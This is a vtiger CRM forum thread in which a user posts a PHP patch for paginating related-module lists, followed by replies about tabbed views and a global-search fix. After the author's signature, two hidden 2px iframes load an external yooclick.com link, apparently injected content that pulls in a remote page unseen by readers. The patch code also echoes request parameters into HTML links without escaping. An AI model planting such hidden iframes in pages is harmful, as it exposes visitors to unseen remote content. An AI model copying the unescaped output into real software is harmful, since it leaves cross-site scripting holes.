Pagination in Related Modules view in Detail view of a page

Hello everyone,
Few months ago i submitted some code to put google style paginantion in the litsview of the modules. Recenly after my mass email patch we felt the need to see sometime more than 20 items in the related module view. I think the best solution was to just put simiar pagination like in the list view in it. So I simply did that, and it works. So here is the code which gives one minor but very wanted and useful feature.
Just follow the steps below. I have many other changes so I will rather show the way here.

in include/utils.php find the fucntion named getListViewEntries and find a code that says
for ($i=$navigation_array['start']; $i<=$navigation_array['end_val']; $i++)
	{
		if (($i%2)==0)
			$list_header .= '<tr height=20 class=evenListRow>';
		else
			$list_header .= '<tr height=20 class=oddListRow>';

Then replace it with the follwoing code:
//added by raju for related paging
	$relmodule=$module;
	if ($_REQUEST[module]==$module) $relmodule='';
	if ($relatedlist=='HomePage') $relmodule='';
	$start=$relmodule.'start';
	$end_val=$relmodule.'end_val';
	for ($i=$navigation_array[$start]; $i<=$navigation_array[$end_val]; $i++)
	{
		if (($i%2)==0)
			$list_header .= '<tr height=20 class=evenListRow>';
		else
			$list_header .= '<tr height=20 class=oddListRow>';

Now add the following function at the end of utils.php
//by raju for related view paging
function getRelatedNavigationValues($display, $noofrows, $limit,$relatedmodule) 
{ 
$navigation_array = Array(); 
global $limitpage_navigation;
$start=$relatedmodule.'start';
$first=$relatedmodule.'first';
$end=$relatedmodule.'end';
$prev=$relatedmodule.'prev';
$next=$relatedmodule.'next';
$end_val=$relatedmodule.'end_val';
$allflag=$relatedmodule.'allflag';
$current=$relatedmodule.'current';
$verylast=$relatedmodule.'verylast';

if(isset($_REQUEST[$allflag]) && $_REQUEST[$allflag] == 'All'){ 
$navigation_array[$start] =1; 
$navigation_array[$first] = 1; 
$navigation_array[$end] = 1; 
$navigation_array[$prev] =0; 
$navigation_array[$next] =0; 
$navigation_array[$end_val] =$noofrows; 
$navigation_array[$current] =1; 
$navigation_array[$allflag] ='Normal'; 
$navigation_array[$verylast] =1; 
return $navigation_array; 
} 
$mystart = ((($display * $limit) - $limit)+1); 
$myend = $mystart + ($limit-1); 
if($myend > $noofrows) 
{ 
$myend = $noofrows; 
} 
$paging = ceil ($noofrows / $limit); 
// Display the navigation 
if ($display > 1) { 
$myprevious = $display - 1; 
} 
else { 
$myprevious=0; 
} 
if ($noofrows != $limit) { 
$mylast = $paging; 
$myfirst = 1; 
if ($mypaging > $limitpage_navigation) { 
$myfirst = $display-floor(($limitpage_navigation/2)); 
if ($myfirst<1) $myfirst=1; 
$mylast = ($limitpage_navigation - 1) + $myfirst; 
} 
if ($mylast > $paging ) { 
$myfirst = $paging - ($limitpage_navigation - 1); 
$mylast = $paging; 
} 
} 
if ($display < $paging) { 
$mynext = $display + 1; 
} 
else { 
$mynext=0; 
} 
$navigation_array[$start] = $mystart; 
$navigation_array[$first] = $myfirst; 
$navigation_array[$end] = $mylast; 
$navigation_array[$prev] = $myprevious; 
$navigation_array[$next] = $mynext; 
$navigation_array[$end_val] = $myend; 
$navigation_array[$current] = $display; 
$navigation_array[$allflag] ='All'; 
$navigation_array[$verylast] =$paging; 
return $navigation_array; 
} 

Now go to include/uifromdbutil.php and delete the getTableHeaderNavigation function which is towards the end and paste the following one in its place
//modified rdhital to improve the pagination 
function getTableHeaderNavigation($navigation_array, $url_qry,$module='',$action_val='index',$viewid='') 
{ 
global $theme; 
$theme_path="themes/".$theme."/"; 
$image_path=$theme_path."images/"; 
$output = '<td align="right">';
$record=''; 
if (isset($_REQUEST['record']) && ($_REQUEST['record']!='')) $record=$_REQUEST['record'];
$dir_name=$_REQUEST['module']; 
	$relmodule=$module;
	if ($_REQUEST[module]==$module) $relmodule='';
	$start=$relmodule.'start';
	$end_val=$relmodule.'end_val';
	$first=$relmodule.'first';
	$end=$relmodule.'end';
	$allflag=$relmodule.'allflag';
	$current=$relmodule.'current';
	$next=$relmodule.'next';
	$verylast=$relmodule.'verylast';	
	$prev=$relmodule.'prev';	

$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&'.$start.'=1&viewname='.$viewid.'&'.$allflag.'='.$navigation_array[$allflag].'" >'.$navigation_array[$allflag].'</a> '; 
if(($navigation_array[$prev]) != 0) 
{ 
$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&start=1&viewname='.$viewid.'" title="First"><img src="'.$image_path.'start.gif" border="0" align="absmiddle"></a> '; 
$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&start='.$navigation_array[$prev].'&viewname='.$viewid.'"><img src="'.$image_path.'previous.gif" border="0" align="absmiddle"></a> '; 

} 
else 
{ 
$output .= '<img src="'.$image_path.'start_disabled.gif" border="0" align="absmiddle"> '; 
$output .= '<img src="'.$image_path.'previous_disabled.gif" border="0" align="absmiddle"> '; 
} 
for ($i=$navigation_array[$first];$i<=$navigation_array[$end];$i++){ 
if ($navigation_array[$current]==$i){ 
$output .='<b>'.$i.'</b> '; 
} 
else{ 
$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&'.$start.'='.$i.'&viewname='.$viewid.'" >'.$i.'</a> '; 
} 
} 
if(($navigation_array[$next]) !=0) 
{ 
$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&'.$start.'='.$navigation_array[$next].'&viewname='.$viewid.'"><img src="'.$image_path.'next.gif" border="0" align="absmiddle"></a> '; 
$output .= '<a href="index.php?module='.$dir_name.'&record='.$record.'&action='.$action_val.$url_qry.'&'.$start.'='.$navigation_array[$verylast].'&viewname='.$viewid.'"><img src="'.$image_path.'end.gif" border="0" align="absmiddle"></a> '; 
} 
else 
{ 
$output .= '<img src="'.$image_path.'next_disabled.gif" border="0" align="absmiddle"> '; 
$output .= '<img src="'.$image_path.'end_disabled.gif" border="0" align="absmiddle"> '; 
} 
$output .= '</td>'; 
return $output; 
} 

Now last thing left to do: Replace the include/RelatedListView.php and include/RelatedListView.html with the one attached here. And thats it it should be done for you.

VERY IMPORTANT Please not that you should have applied the pagination path i provied for the list view to use this patch otheriwise you listview in the modules may be behaving strange. The previous patch can be found at http://forums.vtiger.com/viewtopic.php?t=3251

Let me know if there is any problem. Once again it perfectly works for me. May be I might have missed something to tell here otherwise it should work. Let me know.

Cheers to all
raju <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 10 Comments sorted by Votes Date Added
  • does this mod create the tabbed viwed showing or is this a different mod?
  • hi jay,
    no the tabbed view is from another modification. this one only creates pagination in the related modules.
    raju
  • i was looking to add the tabbed views but there seems to be a fair bit of file/modification over lap. is there any easy way to add the tabbed views after i have added the email and pagination updates of yours?

    jay
  • raju,

    i would really like to set up my tabbed views to look like your. i have added fredy's tabbed view mod, but it seems when i add your code changes it affects the tabbed views. instead of showing just the appropriate module functions under the tab, i get all the modules as shown. i also loose the ability to click the tab that shows additional detail in the detailed view of accounts and contacts.

    jay
  • ps: if i re-install the tabbed info files from fredy, the tabs work, but i lose the pagination enhancements.

    jay
  • hi,
    the tabbed view i have is not from fredy. it actually is not a tab for the related view, its actually the various blocks of entity details into tabs. the one i have is some modified version of mikes contribution back in august i think. about fredy's tab i havent tried it at all. anyway i think if you look at the new 5.0 the tabs issue will be little different. so lets see. i would like to help but i am working on creating some other ui enhancement like autocompleting text fields for invoices and so on. hope fredy might also be able to help.
    regards
    raju
  • do you have the code for mike's contribution for the tabbed entities ?

    jay
  • hello everyone,
    i noticed that i had problem with global search after my mod, so here is the new solution to get global search working. please instead of the code i gave earlier for fucntion named getlistviewentries in include/utils.php use this one
    //added by raju for related paging
    	$relmodule=$module;
    	if &#40;$_request&#91;module&#93;==$module&#41; $relmodule='';
    	if &#40;$_request&#91;module&#93;=='home'&#41; $relmodule='';
    	if &#40;$relatedlist=='homepage'&#41; $relmodule='';
    	$start=$relmodule&#46;'start';
    	$end_val=$relmodule&#46;'end_val';
    	for &#40;$i=$navigation_array&#91;$start&#93;; $i&lt;=$navigation_array&#91;$end_val&#93;; $i++&#41;
    	&#123;
    		if &#40;&#40;$i%2&#41;==0&#41;
    			$list_header &#46;= '&lt;tr height=20 class=evenlistrow&gt;';
    		else
    			$list_header &#46;= '&lt;tr height=20 class=oddlistrow&gt;';
    
    

    just added the two new lines and now global search works. this is something vtigercrm really has to improve. you have no idea about fucntion dependency until you get a problem. i hope with version 5 the codes will be more structured and modular.
    ok enjoy the mod.
    raju
  • thanks rdhital this contribution have been checked in (<!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/changeset/5555">http://vtiger.fosslabs.com/cgi-bin/trac ... geset/5555</a><!-- m --> and <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/changeset/5571">http://vtiger.fosslabs.com/cgi-bin/trac ... geset/5571</a><!-- m -->) and should be available in 4.2.5.
Sign In or Register to comment.